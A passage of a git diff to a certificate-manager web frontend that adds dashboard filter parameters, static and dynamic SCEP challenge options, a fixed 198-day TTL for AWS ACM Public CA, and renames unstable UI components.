 import { useProject, useProjectPermission } from "@app/context";
 import {
   ProjectPermissionCertificateActions,
@@ -31,13 +32,77 @@ export const PoliciesPage = () => {
   const { currentProject } = useProject();
   const { permission } = useProjectPermission();
   const navigate = useNavigate();
-  const { selectedTab } = useSearch({
+  const searchParams = useSearch({
     from: "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/policies"
   });
 
-  const activeTab = (selectedTab as TabSections) || TabSections.Certificates;
+  const activeTab = (searchParams.selectedTab as TabSections) || TabSections.Certificates;
   const [certificateFilter, setCertificateFilter] = useState<{ search?: string }>({});
 
+  const dashboardFilters = useMemo(() => {
+    const filters: Array<{
+      id: string;
+      field: string;
+      operator: string;
+      value: string | string[];
+    }> = [];
+    if (searchParams.filterStatus) {
+      filters.push({
+        id: "dash-status",
+        field: "status",
+        operator: "in",
+        value: [searchParams.filterStatus]
+      });
+    }
+    if (searchParams.filterEnrollmentType) {
+      filters.push({
+        id: "dash-enrollment",
+        field: "enrollmentType",
+        operator: "in",
+        value: [searchParams.filterEnrollmentType]
+      });
+    }
+    if (searchParams.filterKeyAlgorithm) {
+      filters.push({
+        id: "dash-algorithm",
+        field: "keyAlgorithm",
+        operator: "is",
+        value: searchParams.filterKeyAlgorithm
+      });
+    }
+    if (searchParams.filterCaId) {
+      filters.push({
+        id: "dash-ca",
+        field: "caId",
+        operator: "in",
+        value: [searchParams.filterCaId]
+      });
+    }
+    if (searchParams.filterExpiresDays) {
+      const days = Number(searchParams.filterExpiresDays);
+      const futureDate = new Date();
+      futureDate.setDate(futureDate.getDate() + days);
+      filters.push({
+        id: "dash-expires",
+        field: "notAfter",
+        operator: "before",
+        value: futureDate.toISOString().split("T")[0]
+      });
+    }
+    if (searchParams.filterExpiresAfterDays) {
+      const days = Number(searchParams.filterExpiresAfterDays);
+      const afterDate = new Date();
+      afterDate.setDate(afterDate.getDate() + days);
+      filters.push({
+        id: "dash-expires-after",
+        field: "notAfter",
+        operator: "after",
+        value: afterDate.toISOString().split("T")[0]
+      });
+    }
+    return filters;
+  }, [searchParams]);
+
   const handleViewCertificateFromRequest = (certificateId: string) => {
     setCertificateFilter({ search: certificateId });
     navigate({
@@ -60,7 +125,7 @@ export const PoliciesPage = () => {
   );
 
   if (!currentProject) {
-    return <ContentLoader />;
+    return <PageLoader />;
   }
 
   return (
@@ -77,7 +142,11 @@ export const PoliciesPage = () => {
         <div>
           {activeTab === TabSections.Certificates &&
             (canReadCertificates ? (
-              <CertificatesTab externalFilter={certificateFilter} />
+              <CertificatesTab
+                externalFilter={certificateFilter}
+                dashboardFilters={dashboardFilters}
+                dashboardViewId={searchParams.viewId}
+              />
             ) : (
               <PermissionDeniedBanner />
             ))}
diff --git a/frontend/src/pages/cert-manager/PoliciesPage/components/CertificateProfilesTab/CreateProfileModal.tsx b/frontend/src/pages/cert-manager/PoliciesPage/components/CertificateProfilesTab/CreateProfileModal.tsx
index 2a3cc9f1adc..8308e3a041e 100644
--- a/frontend/src/pages/cert-manager/PoliciesPage/components/CertificateProfilesTab/CreateProfileModal.tsx
+++ b/frontend/src/pages/cert-manager/PoliciesPage/components/CertificateProfilesTab/CreateProfileModal.tsx
@@ -44,6 +44,7 @@ import {
 import {
   EnrollmentType,
   IssuerType,
+  ScepChallengeType,
   TCertificateProfileDefaults,
   TCertificateProfileWithDetails,
   TCreateCertificateProfileDTO,
@@ -187,9 +188,12 @@ const createSchema = z.preprocess(
         .optional(),
       scepConfig: z
         .object({
-          challengePassword: z.string().min(8, "Challenge password must be at least 8 characters"),
+          challengeType: z.nativeEnum(ScepChallengeType).default(ScepChallengeType.STATIC),
+          challengePassword: z.string().optional(),
           includeCaCertInResponse: z.boolean().optional(),
-          allowCertBasedRenewal: z.boolean().optional()
+          allowCertBasedRenewal: z.boolean().optional(),
+          dynamicChallengeExpiryMinutes: z.number().min(1).max(1440).optional(),
+          dynamicChallengeMaxPending: z.number().min(1).max(1000).optional()
         })
         .optional(),
       externalConfigs: z
@@ -295,6 +299,23 @@ const createSchema = z.preprocess(
         path: ["enrollmentType"]
       }
     )
+    .refine(
+      (data) => {
+        if (
+          data.enrollmentType === EnrollmentType.SCEP &&
+          data.scepConfig &&
+          data.scepConfig.challengeType !== ScepChallengeType.DYNAMIC &&
+          (!data.scepConfig.challengePassword || data.scepConfig.challengePassword.length < 8)
+        ) {
+          return false;
+        }
+        return true;
+      },
+      {
+        message: "Challenge password must be at least 8 characters for static challenges",
+        path: ["scepConfig", "challengePassword"]
+      }
+    )
 );
 
 const editSchema = z.preprocess(
@@ -340,9 +361,12 @@ const editSchema = z.preprocess(
         .optional(),
       scepConfig: z
         .object({
-          challengePassword: z.string().min(8, "Challenge password must be at least 8 characters"),
+          challengeType: z.nativeEnum(ScepChallengeType).optional(),
+          challengePassword: z.string().optional(),
           includeCaCertInResponse: z.boolean().optional(),
-          allowCertBasedRenewal: z.boolean().optional()
+          allowCertBasedRenewal: z.boolean().optional(),
+          dynamicChallengeExpiryMinutes: z.number().min(1).max(1440).optional(),
+          dynamicChallengeMaxPending: z.number().min(1).max(1000).optional()
         })
         .optional(),
       externalConfigs: z
@@ -400,6 +424,22 @@ const editSchema = z.preprocess(
         path: ["enrollmentType"]
       }
     )
+    .refine(
+      (data) => {
+        if (
+          data.enrollmentType === EnrollmentType.SCEP &&
+          data.scepConfig?.challengePassword &&
+          data.scepConfig.challengeType !== ScepChallengeType.DYNAMIC
+        ) {
+          return data.scepConfig.challengePassword.length >= 8;
+        }
+        return true;
+      },
+      {
+        message: "Challenge password must be at least 8 characters",
+        path: ["scepConfig", "challengePassword"]
+      }
+    )
 );
 
 export type FormData = z.infer<typeof createSchema>;
@@ -629,9 +669,15 @@ export const CreateProfileModal = ({ isOpen, onClose, profile, mode = "create" }
           scepConfig:
             profile.enrollmentType === EnrollmentType.SCEP
               ? {
+                  challengeType:
+                    (profile.scepConfig?.challengeType as ScepChallengeType) ??
+                    ScepChallengeType.STATIC,
                   challengePassword: "",
                   includeCaCertInResponse: profile.scepConfig?.includeCaCertInResponse ?? true,
-                  allowCertBasedRenewal: profile.scepConfig?.allowCertBasedRenewal ?? true
+                  allowCertBasedRenewal: profile.scepConfig?.allowCertBasedRenewal ?? true,
+                  dynamicChallengeExpiryMinutes:
+                    profile.scepConfig?.dynamicChallengeExpiryMinutes ?? 60,
+                  dynamicChallengeMaxPending: profile.scepConfig?.dynamicChallengeMaxPending ?? 100
                 }
               : undefined,
           externalConfigs: profile.externalConfigs
@@ -663,7 +709,7 @@ export const CreateProfileModal = ({ isOpen, onClose, profile, mode = "create" }
           },
           scepConfig: undefined,
           externalConfigs: undefined,
-          defaults: undefined
+          defaults: {}
         }
   });
 
@@ -674,6 +720,7 @@ export const CreateProfileModal = ({ isOpen, onClose, profile, mode = "create" }
   const watchedAutoRenew = watch("apiConfig.autoRenew");
   const watchedSkipDnsOwnershipVerification = watch("acmeConfig.skipDnsOwnershipVerification");
   const watchedSkipEabBinding = watch("acmeConfig.skipEabBinding");
+  const watchedChallengeType = watch("scepConfig.challengeType");
   const watchedPolicyId = watch("certificatePolicyId");
   const watchedDefaultsIsCA = watch("defaults.basicConstraints.isCA") || false;
 
@@ -771,6 +818,8 @@ export const CreateProfileModal = ({ isOpen, onClose, profile, mode = "create" }
   // Get the selected CA to check if it's Azure ADCS
   const selectedCa = certificateAuthorities.find((ca) => ca.id === watchedCertificateAuthorityId);
   const isAzureAdcsCa = selectedCa?.type === CaType.AZURE_AD_CS;
+  // ACM Public CA issues certificates with a fixed 198-day validity, so pin the TTL default.
+  const isAwsAcmPublicCa = selectedCa?.type === CaType.AWS_ACM_PUBLIC_CA;
 
   // Fetch Azure ADCS templates if needed
   const { data: azureAdcsTemplatesData } = useGetAzureAdcsTemplates({
@@ -822,9 +871,15 @@ export const CreateProfileModal = ({ isOpen, onClose, profile, mode = "create" }
         scepConfig:
           profile.enrollmentType === EnrollmentType.SCEP
             ? {
+                challengeType:
+                  (profile.scepConfig?.challengeType as ScepChallengeType) ??
+                  ScepChallengeType.STATIC,
                 challengePassword: "",
                 includeCaCertInResponse: profile.scepConfig?.includeCaCertInResponse ?? true,
-                allowCertBasedRenewal: profile.scepConfig?.allowCertBasedRenewal ?? true
+                allowCertBasedRenewal: profile.scepConfig?.allowCertBasedRenewal ?? true,
+                dynamicChallengeExpiryMinutes:
+                  profile.scepConfig?.dynamicChallengeExpiryMinutes ?? 60,
+                dynamicChallengeMaxPending: profile.scepConfig?.dynamicChallengeMaxPending ?? 100
               }
             : undefined,
         externalConfigs: profile.externalConfigs
@@ -858,6 +913,15 @@ export const CreateProfileModal = ({ isOpen, onClose, profile, mode = "create" }
     }
   }, [isEdit, profile, isAzureAdcsCa, azureAdcsTemplatesData, setValue]);
 
+  // Pin TTL to 198 days when the selected CA is AWS ACM Public CA — backend rejects any other value.
+  // Also re-applies when the user lands on the Defaults tab (policy selected) so the field shows 198
+  // even if the TTL Controller was unmounted when the CA first got picked.
+  useEffect(() => {
+    if (isAwsAcmPublicCa && watchedPolicyId) {
+      setValue("defaults.ttlDays", 198, { shouldDirty: true });
+    }
+  }, [isAwsAcmPublicCa, watchedPolicyId, setValue]);
+
   const onFormSubmit = async (data: FormData) => {
     if (!currentProject?.id && !isEdit) return;
 
@@ -1247,9 +1311,12 @@ export const CreateProfileModal = ({ isOpen, onClose, profile, mode = "create" }
                             });
                           } else if (value === EnrollmentType.SCEP) {
                             setValue("scepConfig", {
+                              challengeType: ScepChallengeType.STATIC,
                               challengePassword: "",
                               includeCaCertInResponse: true,
-                              allowCertBasedRenewal: true
+                              allowCertBasedRenewal: true,
+                              dynamicChallengeExpiryMinutes: 60,
+                              dynamicChallengeMaxPending: 100
                             });
                           }
                           onChange(value);
@@ -1493,25 +1560,135 @@ export const CreateProfileModal = ({ isOpen, onClose, profile, mode = "create" }
                   <div className="mb-4 space-y-4">
                     <Controller
                       control={control}
-                      name="scepConfig.challengePassword"
-                      render={({ field, fieldState: { error } }) => (
+                      name="scepConfig.challengeType"
+                      render={({ field: { value, onChange }, fieldState: { error } }) => (
                         <FormControl
-                          label="Challenge Password"
-                          isRequired
+                          label="Challenge Type"
                           isError={Boolean(error)}
                           errorText={error?.message}
-                          helperText="The challenge password cannot be viewed after creation. Make sure to save it somewhere safe."
+                          helperText={
+                            value === ScepChallengeType.DYNAMIC
+                              ? "Challenges are generated on-demand via an authenticated API endpoint. Ideal for MDM tools like JAMF."
+                              : "A single shared challenge password is used for all enrollment requests."
+                          }
                         >
-                          <Input
-                            {...field}
-                            type="password"
-                            placeholder="Enter SCEP challenge password"
+                          <Select
+                            value={value ?? ScepChallengeType.STATIC}
+                            onValueChange={(val) => {
+                              onChange(val);
+                              if (val === ScepChallengeType.DYNAMIC) {
+                                setValue("scepConfig.challengePassword", "");
+                              }
+                            }}
                             className="w-full"
-                          />
+                          >
+                            <SelectItem
+                              value={ScepChallengeType.STATIC}
+                              key={ScepChallengeType.STATIC}
+                            >
+                              Static Challenge
+                            </SelectItem>
+                            <SelectItem
+                              value={ScepChallengeType.DYNAMIC}
+                              key={ScepChallengeType.DYNAMIC}
+                            >
+                              Dynamic Challenge
+                            </SelectItem>
+                          </Select>
                         </FormControl>
                       )}
                     />
 
+                    {watchedChallengeType !== ScepChallengeType.DYNAMIC && (
+                      <Controller
+                        control={control}
+                        name="scepConfig.challengePassword"
+                        render={({ field, fieldState: { error } }) => {
+                          const hadStaticPassword =
+                            isEdit &&
+                            profile?.scepConfig?.challengeType === ScepChallengeType.STATIC;
+
+                          return (
+                            <FormControl
+                              label="Challenge Password"
+                              isRequired={!hadStaticPassword}
+                              isError={Boolean(error)}
+                              errorText={error?.message}
+                              helperText="The challenge password cannot be viewed after saving. Make sure to save it somewhere safe."
+                            >
+                              <Input
+                                {...field}
+                                type="password"
+                                placeholder={
+                                  hadStaticPassword
+                                    ? "Leave empty to keep current password"
+                                    : "Enter SCEP challenge password"
+                                }
+                                className="w-full"
+                              />
+                            </FormControl>
+                          );
+                        }}
+                      />
+                    )}
+
+                    {watchedChallengeType === ScepChallengeType.DYNAMIC && (
+                      <>
+                        <Controller
+                          control={control}
+                          name="scepConfig.dynamicChallengeExpiryMinutes"
+                          render={({ field, fieldState: { error } }) => (
+                            <FormControl
+                              label="Challenge Expiry (minutes)"
+                              isError={Boolean(error)}
+                              errorText={error?.message}
+                              helperText="How long each generated challenge remains valid before expiring."
+                            >
+                              <Input
+                                {...field}
+                                type="number"
+                                placeholder="60"
+                                min="1"
+                                max="1440"
+                                className="w-full"
+                                onChange={(e) => {
+                                  const val = e.target.value;
+                                  field.onChange(val === "" ? undefined : Number(val));
+                                }}
+                                value={field.value ?? ""}
+                              />
+                            </FormControl>
+                          )}
+                        />
+                        <Controller
+                          control={control}
+                          name="scepConfig.dynamicChallengeMaxPending"
+                          render={({ field, fieldState: { error } }) => (
+                            <FormControl
+                              label="Max Pending Challenges"
+                              isError={Boolean(error)}
+                              errorText={error?.message}
+                              helperText="Maximum number of unused challenges that can exist at once."
+                            >
+                              <Input
+                                {...field}
+                                type="number"
+                                placeholder="100"
+                                min="1"
+                                max="1000"
+                                className="w-full"
+                                onChange={(e) => {
+                                  const val = e.target.value;
+                                  field.onChange(val === "" ? undefined : Number(val));
+                                }}
+                                value={field.value ?? ""}
+                              />
+                            </FormControl>
+                          )}
+                        />
+                      </>
+                    )}
+
                     <Controller
                       control={control}
                       name="scepConfig.includeCaCertInResponse"
@@ -1584,7 +1761,13 @@ export const CreateProfileModal = ({ isOpen, onClose, profile, mode = "create" }
                             <FormLabel
                               label="Time to Live (TTL) in Days"
                               icon={
-                                <Tooltip content="Fallback validity period used when not explicitly specified in certificate request. Leave empty for no TTL default.">
+                                <Tooltip
+                                  content={
+                                    isAwsAcmPublicCa
+                                      ? "AWS ACM Public CA issues certificates with a fixed 198-day validity — this field cannot be changed."
+                                      : "Fallback validity period used when not explicitly specified in certificate request. Leave empty for no TTL default."
+                                  }
+                                >
                                   <FontAwesomeIcon
                                     icon={faQuestionCircle}
                                     className="cursor-help text-mineshaft-400 hover:text-mineshaft-300"
@@ -1601,6 +1784,7 @@ export const CreateProfileModal = ({ isOpen, onClose, profile, mode = "create" }
                             type="number"
                             placeholder="e.g. 365"
                             value={field.value == null ? "" : field.value}
+                            isDisabled={isAwsAcmPublicCa}
                             onChange={(e) => {
                               const val = e.target.value;
                               field.onChange(val === "" ? null : Number(val));
diff --git a/frontend/src/pages/cert-manager/PoliciesPage/components/CertificateProfilesTab/ScepDetailsModal.tsx b/frontend/src/pages/cert-manager/PoliciesPage/components/CertificateProfilesTab/ScepDetailsModal.tsx
index fc7950ca42a..a194f751749 100644
--- a/frontend/src/pages/cert-manager/PoliciesPage/components/CertificateProfilesTab/ScepDetailsModal.tsx
+++ b/frontend/src/pages/cert-manager/PoliciesPage/components/CertificateProfilesTab/ScepDetailsModal.tsx
@@ -4,7 +4,10 @@ import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { FormLabel, IconButton, Input, Modal, ModalContent } from "@app/components/v2";
 import { downloadFile } from "@app/helpers/download";
 import { useToggle } from "@app/hooks";
-import { TCertificateProfileWithDetails } from "@app/hooks/api/certificateProfiles";
+import {
+  ScepChallengeType,
+  TCertificateProfileWithDetails
+} from "@app/hooks/api/certificateProfiles";
 
 const RESET_COPIED_DELAY = 1 * 1000;
 
@@ -16,6 +19,7 @@ type Props = {
 
 export const ScepDetailsModal = ({ isOpen, onClose, profile }: Props) => {
   const [isUrlCopied, setIsUrlCopied] = useToggle(false);
+  const [isChallengeUrlCopied, setIsChallengeUrlCopied] = useToggle(false);
 
   const { scepConfig } = profile;
   const scepEndpointUrl = scepConfig?.scepEndpointUrl ?? "";
@@ -77,6 +81,35 @@ export const ScepDetailsModal = ({ isOpen, onClose, profile }: Props) => {
           </IconButton>
         </div>
 
+        {scepConfig.challengeType === ScepChallengeType.DYNAMIC &&
+          scepConfig.challengeEndpointUrl && (
+            <>
+              <FormLabel
+                label="Challenge Endpoint URL"
+                className="mt-4"
+                tooltipText="The authenticated API endpoint to generate dynamic SCEP challenges. Use this URL in your MDM webhook configuration (e.g., JAMF SCEPChallenge)."
+              />
+              <div className="flex gap-2">
+                <Input value={scepConfig.challengeEndpointUrl} isDisabled />
+                <IconButton
+                  ariaLabel="copy"
+                  variant="outline_bg"
+                  colorSchema="secondary"
+                  onClick={() => {
+                    navigator.clipboard.writeText(scepConfig.challengeEndpointUrl!);
+                    setIsChallengeUrlCopied.on();
+                    setTimeout(() => {
+                      setIsChallengeUrlCopied.off();
+                    }, RESET_COPIED_DELAY);
+                  }}
+                  className="w-10"
+                >
+                  <FontAwesomeIcon icon={isChallengeUrlCopied ? faCheck : faCopy} />
+                </IconButton>
+              </div>
+            </>
+          )}
+
         <FormLabel
           label="RA Certificate"
           className="mt-4"
diff --git a/frontend/src/pages/cert-manager/PoliciesPage/components/CertificatesTab/CertificatesTab.tsx b/frontend/src/pages/cert-manager/PoliciesPage/components/CertificatesTab/CertificatesTab.tsx
index 24cc69c8a6a..70d0b2d2c7f 100644
--- a/frontend/src/pages/cert-manager/PoliciesPage/components/CertificatesTab/CertificatesTab.tsx
+++ b/frontend/src/pages/cert-manager/PoliciesPage/components/CertificatesTab/CertificatesTab.tsx
@@ -1,12 +1,21 @@
 import { CertificatesSection } from "../../../CertificatesPage/components/CertificatesSection";
+import type { FilterRule } from "../../../CertificatesPage/components/inventory-types";
 
 type Props = {
   externalFilter?: {
     certificateId?: string;
     search?: string;
   };
+  dashboardFilters?: FilterRule[];
+  dashboardViewId?: string;
 };
 
-export const CertificatesTab = ({ externalFilter }: Props) => {
-  return <CertificatesSection externalFilter={externalFilter} />;
+export const CertificatesTab = ({ externalFilter, dashboardFilters, dashboardViewId }: Props) => {
+  return (
+    <CertificatesSection
+      externalFilter={externalFilter}
+      dashboardFilters={dashboardFilters}
+      dashboardViewId={dashboardViewId}
+    />
+  );
 };
diff --git a/frontend/src/pages/cert-manager/PoliciesPage/route.tsx b/frontend/src/pages/cert-manager/PoliciesPage/route.tsx
index 19524feabb0..4d529224ad1 100644
--- a/frontend/src/pages/cert-manager/PoliciesPage/route.tsx
+++ b/frontend/src/pages/cert-manager/PoliciesPage/route.tsx
@@ -5,7 +5,14 @@ import { z } from "zod";
 import { PoliciesPage } from "./PoliciesPage";
 
 const policiesPageSearchSchema = z.object({
-  selectedTab: z.string().optional().default("certificates")
+  selectedTab: z.string().optional().default("certificates"),
+  filterStatus: z.string().optional(),
+  filterEnrollmentType: z.string().optional(),
+  filterKeyAlgorithm: z.string().optional(),
+  filterCaId: z.string().optional(),
+  filterExpiresDays: z.string().optional(),
+  filterExpiresAfterDays: z.string().optional(),
+  viewId: z.string().optional()
 });
 
 export const Route = createFileRoute(
diff --git a/frontend/src/pages/cert-manager/SettingsPage/components/CertificateCleanupTab.tsx b/frontend/src/pages/cert-manager/SettingsPage/components/CertificateCleanupTab.tsx
index d14751028c9..29d5600ef13 100644
--- a/frontend/src/pages/cert-manager/SettingsPage/components/CertificateCleanupTab.tsx
+++ b/frontend/src/pages/cert-manager/SettingsPage/components/CertificateCleanupTab.tsx
@@ -5,7 +5,7 @@ import { format } from "date-fns";
 import { z } from "zod";
 
 import { createNotification } from "@app/components/notifications";
-import { Badge, Button, Skeleton, Switch, UnstableInput } from "@app/components/v3";
+import { Badge, Button, Input, Skeleton, Switch } from "@app/components/v3";
 import { useProject } from "@app/context";
 import {
   useGetCertificateCleanupConfig,
@@ -140,7 +140,7 @@ export const CertificateCleanupTab = () => {
               control={control}
               name="postExpiryRetentionDays"
               render={({ field }) => (
-                <UnstableInput
+                <Input
                   {...field}
                   type="number"
                   className="w-20"
diff --git a/frontend/src/pages/cert-manager/SignerDetailPage/SignerDetailPage.tsx b/frontend/src/pages/cert-manager/SignerDetailPage/SignerDetailPage.tsx
index 03fa20d159a..e2fa592036c 100644
--- a/frontend/src/pages/cert-manager/SignerDetailPage/SignerDetailPage.tsx
+++ b/frontend/src/pages/cert-manager/SignerDetailPage/SignerDetailPage.tsx
@@ -5,7 +5,7 @@ import { Link, useParams } from "@tanstack/react-router";
 import { ChevronLeftIcon } from "lucide-react";
 
 import { EmptyState, PageHeader } from "@app/components/v2";
-import { Badge, UnstablePageLoader } from "@app/components/v3";
+import { Badge, PageLoader } from "@app/components/v3";
 import { ROUTE_PATHS } from "@app/const/routes";
 import { useOrganization, useProject } from "@app/context";
 import { ProjectType } from "@app/hooks/api/projects/types";
@@ -31,7 +31,7 @@ export const SignerDetailPage = () => {
   const { data: signer, isLoading } = useGetSigner(signerId);
 
   if (isLoading) {
-    return <UnstablePageLoader />;
+    return <PageLoader />;
   }
 
   if (!signer) {
diff --git a/frontend/src/pages/cert-manager/SignerDetailPage/components/SignerOverviewSection.tsx b/frontend/src/pages/cert-manager/SignerDetailPage/components/SignerOverviewSection.tsx
index 0f323417a8e..ebead1db9a8 100644
--- a/frontend/src/pages/cert-manager/SignerDetailPage/components/SignerOverviewSection.tsx
+++ b/frontend/src/pages/cert-manager/SignerDetailPage/components/SignerOverviewSection.tsx
@@ -7,17 +7,17 @@ import { Tooltip } from "@app/components/v2";
 import {
   Badge,
   Button,
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
   Detail,
   DetailGroup,
   DetailLabel,
   DetailValue,
-  UnstableCard,
-  UnstableCardAction,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstableIconButton
+  IconButton
 } from "@app/components/v3";
 import {
   ProjectPermissionCodeSigningActions,
@@ -60,31 +60,26 @@ export const SignerOverviewSection = ({ signer, projectId, onEdit }: Props) => {
 
   return (
     <div className="flex flex-col gap-5">
-      <UnstableCard>
-        <UnstableCardHeader className="border-b">
-          <UnstableCardTitle>Signer Details</UnstableCardTitle>
-          <UnstableCardDescription>Signer configuration and key details</UnstableCardDescription>
+      <Card>
+        <CardHeader className="border-b">
+          <CardTitle>Signer Details</CardTitle>
+          <CardDescription>Signer configuration and key details</CardDescription>
           {onEdit && (
-            <UnstableCardAction>
+            <CardAction>
               <ProjectPermissionCan
                 I={ProjectPermissionCodeSigningActions.Edit}
                 a={ProjectPermissionSub.CodeSigners}
               >
                 {(isAllowed) => (
-                  <UnstableIconButton
-                    isDisabled={!isAllowed}
-                    onClick={onEdit}
-                    size="xs"
-                    variant="outline"
-                  >
+                  <IconButton isDisabled={!isAllowed} onClick={onEdit} size="xs" variant="outline">
                     <PencilIcon />
-                  </UnstableIconButton>
+                  </IconButton>
                 )}
               </ProjectPermissionCan>
-            </UnstableCardAction>
+            </CardAction>
           )}
-        </UnstableCardHeader>
-        <UnstableCardContent>
+        </CardHeader>
+        <CardContent>
           <DetailGroup>
             <Detail>
               <DetailLabel>Name</DetailLabel>
@@ -95,7 +90,7 @@ export const SignerOverviewSection = ({ signer, projectId, onEdit }: Props) => {
               <DetailValue className="flex items-center gap-x-1">
                 {signer.id}
                 <Tooltip content="Copy signer ID to clipboard">
-                  <UnstableIconButton
+                  <IconButton
                     onClick={() => {
                       navigator.clipboard.writeText(signer.id);
                       setCopyTextId("Copied");
@@ -104,7 +99,7 @@ export const SignerOverviewSection = ({ signer, projectId, onEdit }: Props) => {
                     size="xs"
                   >
                     {isCopyingId ? <CheckIcon /> : <ClipboardListIcon className="text-label" />}
-                  </UnstableIconButton>
+                  </IconButton>
                 </Tooltip>
               </DetailValue>
             </Detail>
@@ -156,12 +151,12 @@ export const SignerOverviewSection = ({ signer, projectId, onEdit }: Props) => {
               </DetailValue>
             </Detail>
           </DetailGroup>
-        </UnstableCardContent>
-      </UnstableCard>
-      <UnstableCard>
-        <UnstableCardHeader className="border-b">
-          <UnstableCardTitle>Certificate</UnstableCardTitle>
-          <UnstableCardDescription>
+        </CardContent>
+      </Card>
+      <Card>
+        <CardHeader className="border-b">
+          <CardTitle>Certificate</CardTitle>
+          <CardDescription>
             <div className="flex items-center gap-2">
               <div>Linked signing certificate</div>
               <Button variant="ghost" size="xs" asChild>
@@ -178,9 +173,9 @@ export const SignerOverviewSection = ({ signer, projectId, onEdit }: Props) => {
                 </Link>
               </Button>
             </div>
-          </UnstableCardDescription>
-        </UnstableCardHeader>
-        <UnstableCardContent>
+          </CardDescription>
+        </CardHeader>
+        <CardContent>
           <DetailGroup>
             <Detail>
               <DetailLabel>Common Name</DetailLabel>
@@ -207,8 +202,8 @@ export const SignerOverviewSection = ({ signer, projectId, onEdit }: Props) => {
               </DetailValue>
             </Detail>
           </DetailGroup>
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
     </div>
   );
 };
diff --git a/frontend/src/pages/cert-manager/SignerDetailPage/components/SigningOperationsTable.tsx b/frontend/src/pages/cert-manager/SignerDetailPage/components/SigningOperationsTable.tsx
index abbe52ac721..5c1707c54ff 100644
--- a/frontend/src/pages/cert-manager/SignerDetailPage/components/SigningOperationsTable.tsx
+++ b/frontend/src/pages/cert-manager/SignerDetailPage/components/SigningOperationsTable.tsx
@@ -6,24 +6,24 @@ import { HardDriveIcon, UserIcon } from "lucide-react";
 import { createNotification } from "@app/components/notifications";
 import {
   Badge,
+  Card,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+  Empty,
+  EmptyHeader,
+  EmptyTitle,
+  Pagination,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableCard,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstableEmpty,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstablePagination,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  TooltipTrigger
 } from "@app/components/v3";
 import { useOrganization } from "@app/context";
 import {
@@ -137,53 +137,51 @@ export const SigningOperationsTable = ({ signerId, projectId }: Props) => {
   };
 
   return (
-    <UnstableCard>
-      <UnstableCardHeader>
-        <UnstableCardTitle>Signing History</UnstableCardTitle>
-        <UnstableCardDescription>Trail of signing operations</UnstableCardDescription>
-      </UnstableCardHeader>
-      <UnstableCardContent>
-        <UnstableTable>
-          <UnstableTableHeader>
-            <UnstableTableRow>
-              <UnstableTableHead>Timestamp</UnstableTableHead>
-              <UnstableTableHead>Status</UnstableTableHead>
-              <UnstableTableHead>Algorithm</UnstableTableHead>
-              <UnstableTableHead>Data Hash</UnstableTableHead>
-              <UnstableTableHead>Actor</UnstableTableHead>
-            </UnstableTableRow>
-          </UnstableTableHeader>
-          <UnstableTableBody>
+    <Card>
+      <CardHeader>
+        <CardTitle>Signing History</CardTitle>
+        <CardDescription>Trail of signing operations</CardDescription>
+      </CardHeader>
+      <CardContent>
+        <Table>
+          <TableHeader>
+            <TableRow>
+              <TableHead>Timestamp</TableHead>
+              <TableHead>Status</TableHead>
+              <TableHead>Algorithm</TableHead>
+              <TableHead>Data Hash</TableHead>
+              <TableHead>Actor</TableHead>
+            </TableRow>
+          </TableHeader>
+          <TableBody>
             {isLoading &&
               Array.from({ length: 5 }).map((_, i) => (
                 // eslint-disable-next-line react/no-array-index-key
-                <UnstableTableRow key={`skeleton-${i}`}>
+                <TableRow key={`skeleton-${i}`}>
                   {Array.from({ length: 5 }).map((__, j) => (
                     // eslint-disable-next-line react/no-array-index-key
-                    <UnstableTableCell key={`skeleton-cell-${j}`}>
+                    <TableCell key={`skeleton-cell-${j}`}>
                       <div className="h-4 w-full animate-pulse rounded bg-mineshaft-700" />
-                    </UnstableTableCell>
+                    </TableCell>
                   ))}
-                </UnstableTableRow>
+                </TableRow>
               ))}
             {!isLoading &&
               operations.map((op) => (
-                <UnstableTableRow key={op.id}>
-                  <UnstableTableCell>
-                    {format(new Date(op.createdAt), "MMM d, yyyy HH:mm:ss")}
-                  </UnstableTableCell>
-                  <UnstableTableCell>
+                <TableRow key={op.id}>
+                  <TableCell>{format(new Date(op.createdAt), "MMM d, yyyy HH:mm:ss")}</TableCell>
+                  <TableCell>
                     <Badge variant={getStatusBadgeVariant(op.status)}>
                       {signingOperationStatusLabels[op.status] ?? op.status}
                     </Badge>
-                  </UnstableTableCell>
-                  <UnstableTableCell className="text-xs">
+                  </TableCell>
+                  <TableCell className="text-xs">
                     {ALGORITHM_DISPLAY[op.signingAlgorithm] ?? op.signingAlgorithm}
-                  </UnstableTableCell>
-                  <UnstableTableCell className="max-w-[120px] truncate font-mono text-xs">
+                  </TableCell>
+                  <TableCell className="max-w-[120px] truncate font-mono text-xs">
                     {op.dataHash}
-                  </UnstableTableCell>
-                  <UnstableTableCell>
+                  </TableCell>
+                  <TableCell>
                     <Tooltip>
                       <TooltipTrigger asChild>
                         <div className="flex items-center gap-1.5">
@@ -207,20 +205,20 @@ export const SigningOperationsTable = ({ signerId, projectId }: Props) => {
                       </TooltipTrigger>
                       <TooltipContent>{op.actorName ?? op.actorId}</TooltipContent>
                     </Tooltip>
-                  </UnstableTableCell>
-                </UnstableTableRow>
+                  </TableCell>
+                </TableRow>
               ))}
-          </UnstableTableBody>
-        </UnstableTable>
+          </TableBody>
+        </Table>
         {!isLoading && operations.length === 0 && (
-          <UnstableEmpty>
-            <UnstableEmptyHeader>
-              <UnstableEmptyTitle>No signing operations yet</UnstableEmptyTitle>
-            </UnstableEmptyHeader>
-          </UnstableEmpty>
+          <Empty>
+            <EmptyHeader>
+              <EmptyTitle>No signing operations yet</EmptyTitle>
+            </EmptyHeader>
+          </Empty>
         )}
         {Boolean(totalCount) && (
-          <UnstablePagination
